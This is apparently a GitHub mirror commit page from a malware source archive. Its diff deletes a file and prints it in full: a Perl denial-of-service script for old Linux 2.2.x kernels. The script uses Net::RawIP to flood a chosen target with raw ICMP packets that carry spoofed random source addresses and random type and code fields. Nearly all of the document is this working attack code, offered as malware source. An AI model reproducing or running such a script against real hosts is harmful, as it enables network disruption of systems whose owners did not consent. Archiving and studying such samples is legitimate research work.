mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 19:06:09 +00:00
Delete DoS.Perl.Small.a
na
This commit is contained in:
parent
ba2a4625ed
commit
bd0805b41c
@ -1,49 +0,0 @@
|
||||
# **************************************************************
|
||||
# DoS for Linux kernels from 2.2.7 to 2.2.9 reported in BUGTRAQ
|
||||
# 06/01/99 by Piotr Wilkin <pwl@wotan.2slo.wav.pl>
|
||||
# An attacker has to be in same ethernet segment with victim
|
||||
# I did't test it
|
||||
# coded by misteri0 from P.A.T.C.H.
|
||||
# Requires Net-RawIP-0.09 included in this directory
|
||||
# Edited for use with toast by Gridmark
|
||||
# **************************************************************
|
||||
$| = 1;
|
||||
require 'getopts.pl';
|
||||
use Net::RawIP;
|
||||
Getopts('t:');
|
||||
die " misteri0\@unet from P.A.T.C.H.\n Usage $0 -t <target>" unless
|
||||
$opt_t;
|
||||
srand(time);
|
||||
$i = 996;
|
||||
$data .= chr(int rand(255)),$i-- while($i);
|
||||
|
||||
$icmp = new Net::RawIP({
|
||||
ip => {
|
||||
ihl => 6,
|
||||
tot_len => 1024,
|
||||
id => 1,
|
||||
ttl => 255,
|
||||
frag_off => 0,
|
||||
daddr => $opt_t
|
||||
},
|
||||
icmp => {
|
||||
id => 2650,
|
||||
data => $data
|
||||
}
|
||||
});
|
||||
|
||||
$j++;
|
||||
$icmp->set({
|
||||
ip => { saddr => 17000000 + int rand 4261000000 },
|
||||
icmp => {
|
||||
type => int rand(14),
|
||||
code => int rand(10),
|
||||
sequence => int rand(255)
|
||||
}
|
||||
});
|
||||
$icmp->send;
|
||||
print "Linux-DoS sent...\n"
|
||||
# print "[b00m] " unless $j%1000;
|
||||
|
||||
|
||||
|
Loading…
Reference in New Issue
Block a user